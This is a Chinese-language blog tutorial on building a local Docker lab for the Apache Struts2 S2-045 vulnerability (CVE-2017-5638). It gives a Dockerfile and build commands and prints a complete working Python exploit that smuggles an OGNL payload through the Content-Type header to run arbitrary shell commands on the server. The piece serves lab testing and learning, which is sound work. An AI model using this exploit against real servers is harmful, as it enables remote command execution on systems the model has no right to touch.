准备工作

关于 Docker

首先你需要一个Docker环境,关于Docker感兴趣的同学可以阅读《Docker—入门到实践》

关于如何安装Docker请看安装 Docker

关于 Dockerfile

如果我们可以把每一层修改、安装、构建、操作的命令都写入一个脚本,用这个脚本来构建、定制镜像,那么之前提及的无法重复的问题、镜像构建透明性的问题、体积的问题就都会解决。这个脚本就是 Dockerfile 。

本次重点内容就是如何创建一个 Dockerfile 并构建一个 Docker 镜像。

关于 Dockerfile 请看使用 Dockerfile 定制镜像

关于S2-045的测试环境

我们需要一个 S2-045 的测试环境,这里可以使用 mottoin 提供的测试环境

也可以下载 struts2-blank 进行测试,但是需要手动修改 war 包中的 struts.xml ,开启动态方法调用。

<constant name="struts.enable.DynamicMethodInvocation" value="true"/>

创建一个 Dockerfile 文件

首先我们要创建一个文件夹来放测试环境以及 Dockerfile 。

mkdir S2-045

在文件夹内放入下载好的测试环境,然后创建一个 Dockerfile 。

cp your-download-path/S2-045.war ./S2-045
vi ./S2-045/Dockerfile

将下列语句写入 Dockerfile ,保存并退出。

FROM tomcat:8.0-jre8

WORKDIR /tmp

RUN rm -rf /usr/local/tomcat/webapps/ \
&& chmod a+x /usr/local/tomcat/bin/*.sh

COPY S2-045.war /usr/local/tomcat/webapps/ROOT.war

EXPOSE 8080

CMD ["/usr/local/tomcat/bin/catalina.sh", "run"]

3月11日更新:

如果是使用树莓派使用上述Dockerfile会无法构建。

可以修改语句 RUNCMD

但经过测试发现即使可以构建也不可以运行,如果有人运行成功请麻烦联系我。


当前的目录结构如下:

└── S2-045
    ├── Dockerfile
    └── S2-045.war

构建 s2-045 镜像

运行命令:

docker build -t s2-045 S2-045

docker 就会根据之前的 Dockerfile 进行自动构建。

build

查看所有的镜像

docker images -a

可以看到 s2-045 已经静静的躺在列表里面了。

images-all

运行 s2-045 镜像

运行:

docker run -d -p 80:8080 s2-045

查看当前运行镜像状态:

docker stats

stats

访问搭建好的环境:

http://127.0.0.1/index.action

index

测试漏洞的脚本是在msf里面找的,相比其他公布出来的测试脚本更稳定:

#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib


def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial

    print(page)
    return page

if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)

使用方法如下:

python poc.py http://127.0.0.1/index.action "cd / && ls -al"

result

参考

快速搭建各种漏洞环境

S2-045 原理初步分析


Monburan

好奇|爱折腾